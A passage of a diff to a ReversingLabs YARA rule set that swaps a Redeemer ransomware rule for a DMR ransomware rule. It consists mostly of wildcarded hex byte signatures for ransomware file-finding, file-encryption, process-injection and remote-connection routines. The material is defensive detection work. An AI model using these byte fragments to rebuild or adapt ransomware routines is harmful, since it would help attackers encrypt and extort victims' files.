+            0F 28 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F EF 85 ?? ?? ?? ?? 50 0F 29 45
+            ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 0F 43 95
+            ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41
+            ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? B8 ??
+            ?? ?? ?? 2B C1 83 F8 ?? 0F 82 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51
+            0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
+            0F 43 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 6A ?? 6A ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 50 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 8B F0 83 FA ?? 72 ?? 8B
+            8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
+            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4
+        }
+		$encrypt_files = {
+            8B FF 55 8B EC 83 EC ?? 8B 4D ?? 89 4D ?? 53 56 8B 75 ?? 57 8B 7D ?? 89 7D ?? 85 C9
+            0F 84 ?? ?? ?? ?? 85 FF 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B C6 8B D6 C1 FA ?? 83 E0 ?? 6B C0 ?? 89
+            55 ?? 8B 14 95 ?? ?? ?? ?? 89 45 ?? 8A 5C 02 ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1
+            F7 D0 A8 ?? 74 ?? 8B 45 ?? F6 44 02 ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ??
+            83 C4 ?? 56 E8 ?? ?? ?? ?? 59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 0F 87 ?? ?? ??
+            ?? FF 75 ?? 8D 45 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8D
+            45 ?? 57 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 45 ?? 8B 0C 85 ?? ?? ?? ?? 8B 45 ??
+            80 7C 01 ?? ?? 7D ?? 0F BE C3 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 0F 85 ?? ?? ??
+            ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ??
+            ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 57 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 01 ?? 8D 7D ??
+            33 C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? FF 75 ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ??
+            FF 15 ?? ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 45 ?? 85 C0 75 ?? 8B 45 ??
+            85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
+            30 E9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? 8B 4D ?? 8B
+            04 85 ?? ?? ?? ?? F6 44 08 ?? ?? 74 ?? 80 3F ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 83 20 ?? E9 ?? ?? ?? ?? 2B 45 ?? EB ?? 33 C0 5F 5E 5B C9 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($enum_drives_p*)) and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($inject_code_into_process) and ( all of ($find_files_p*)) and ($encrypt_files) and ( all of ($remote_connection_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Redeemer : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_DMR : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Redeemer ransomware."
+		description = "Yara rule that detects DMR ransomware."
 		author = "ReversingLabs"
-		id = "080ab595-862b-5dc2-aaff-a0efd819a9fa"
-		date = "2022-01-17"
-		modified = "2022-01-17"
+		id = "45d8f91f-d2d0-5c6e-a29e-b8c9c29dc296"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Redeemer.yara#L1-L105"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "28287f6620a2f7a90057d1f97947e065721119e26398fe659331dc5fe99761de"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.DMR.yara#L1-L214"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "55e19f3017c2cc8355c27f9a516e611b58b108f15bfed41b88d5662b55677a59"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -27070,96 +28593,202 @@ rule REVERSINGLABS_Win32_Ransomware_Redeemer : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Redeemer"
+		tc_detection_name = "DMR"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ??
-            8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 89 B5 ?? ??
-            ?? ?? 89 B5 ?? ?? ?? ?? 3B F7 0F 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 8B 3D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ??
-            C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 84 C0 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ?? ?? ?? C6 45
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 89 A5 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? ??
-            ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 75 ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B
-            CC 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0
+		$find_files_p1 = {
+            8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53
+            57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ??
+            51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ??
+            ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ??
+            ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B
+            CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ??
+            23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8
+            1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75
+            ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74
+        }
+		$find_files_p2 = {
+            80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ??
+            ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ??
+            74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ??
+            ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ??
+            5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3
         }
 		$encrypt_files_p1 = {
-            80 FB ?? 0F 85 ?? ?? ?? ?? 83 EC ?? 8D 55 ?? 8B CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ??
-            C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2
-            6A ?? 66 89 10 8D 45 ?? 52 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83
-            79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 33 D2 6A ?? 66 89 10 8D 45 ??
-            52 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 8D 45 ?? 3B C6
-            74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ??
-            ?? ?? ?? ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 45
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 89 B5 ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? 8D 45 ?? 83 7D ?? ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 55 ?? FF B5 ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ??
+            8B 55 ?? 88 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA
+            ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51
+            E8 ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ??
+            ?? 8D 55 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 45 ??
+            83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 E0 ?? 8D 4D ?? 83 7D ?? ?? 50 0F 43
         }
 		$encrypt_files_p2 = {
-            8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 35 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 66 89 85 ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ??
-            50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D6 85 C0 0F 85 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 50 FF D6 8B 85 ?? ?? ??
-            ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 45 ?? 83 C4 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33
-            C0 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D
-            4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
-            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8
+            4D ?? 51 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 8D
+            ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ??
+            ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D BE ??
+            ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B C7 89 BD ?? ?? ?? ?? 72 ?? 8B 07 83 7F ?? ?? 75
+            ?? 0F B6 00 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? C7 86 ?? ?? ?? ?? ??
+            ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 8B 86 ?? ?? ?? ?? 6A ?? 50 8D 4D ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 8B 86 ?? ??
+            ?? ?? 83 7D ?? ?? 99 0F 43 4D ?? 52 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ??
+            ?? ?? ?? 8B 55 ?? 3B CA 77 ?? 83 7D ?? ?? 8D 45 ?? 89 4D ?? 0F 43 45 ?? C6 04 01 ??
+            EB ?? 8B 45 ?? 8B F9 2B FA 2B C2 3B F8 77 ?? 83 7D ?? ?? 8D 75 ?? 57 0F 43 75 ?? 03
         }
-		$modify_processes_p1 = {
-            8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50
+		$encrypt_files_p3 = {
+            F2 89 4D ?? 6A ?? 56 E8 ?? ?? ?? ?? C6 04 3E ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? EB ?? 6A
+            ?? 57 C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B BD ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8
+            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
+            6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 89 8D ?? ?? ?? ?? 8B 01 FF 50 ?? 8D
+            85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 8B 40 ?? FF D0 85 C0 74 ?? 8B
+            08 6A ?? 8B 11 8B C8 FF D2 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 D2 8B 40 ?? 03 C8
+            B8 ?? ?? ?? ?? 39 51 ?? 0F 45 C2 EB ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ??
+            03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 6A ?? 50 E8 ?? ?? ?? ??
+            81 C6 ?? ?? ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45
         }
-		$modify_processes_p2 = {
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ?? ?? 6A ?? 8D 04 52 8D 04 C1
-            50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 0F
-            43 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D B5
-            ?? ?? ?? ?? 0F 43 95 ?? ?? ?? ?? 0F 43 B5 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C8 ??
-            50 56 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 6A ?? 8D 8D ?? ?? ??
-            ?? 6A ?? 8D 04 52 8D 04 C1 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ??
-            ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC FF 37 E8
-            ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? C6 45 ?? ?? 8D 85 ?? ??
-            ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89
-            0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 FF 77
+		$encrypt_files_p4 = {
+            C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 7F ?? ?? 8B 47 ?? 72 ?? 8B 3F 83 F8 ?? 75
+            ?? 0F B6 07 3C ?? 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 8B BD ?? ?? ?? ?? 85 C0 75 ?? 8D
+            45 ?? 50 83 EC ?? 8D 87 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 EC
+            ?? C6 45 ?? ?? 8B CC 56 E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? EB ?? 8B BD ?? ??
+            ?? ?? 8D 45 ?? 3B F0 74 ?? 83 7D ?? ?? 8B CE FF 75 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ??
+            8D 45 ?? 3B C6 74 ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 FF 76 ?? 8D 4D ?? 50 E8 ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7E ?? ?? 8B C6 72 ?? 8B 06 C7 46 ??
+            ?? ?? ?? ?? 8D 55 ?? C6 00 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? FF 75 ?? 0F 43 55 ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ??
+            0B 41 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B F0 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D
+            4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8B C8 C6
+            45 ?? ?? 8B 41 ?? 8B 51 ?? 2B C2 83 F8 ?? 72 ?? 83 79 ?? ?? 8D 42 ?? 89 41 ?? 8B C1
+            72 ?? 8B 01 66 C7 04 02 ?? ?? EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 0F 10 01 0F 11 85 ?? ?? ?? ?? F3 0F 7E 41 ?? 66 0F D6 85 ?? ?? ?? ??
+            C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 8B
+        }
+		$encrypt_files_p5 = {
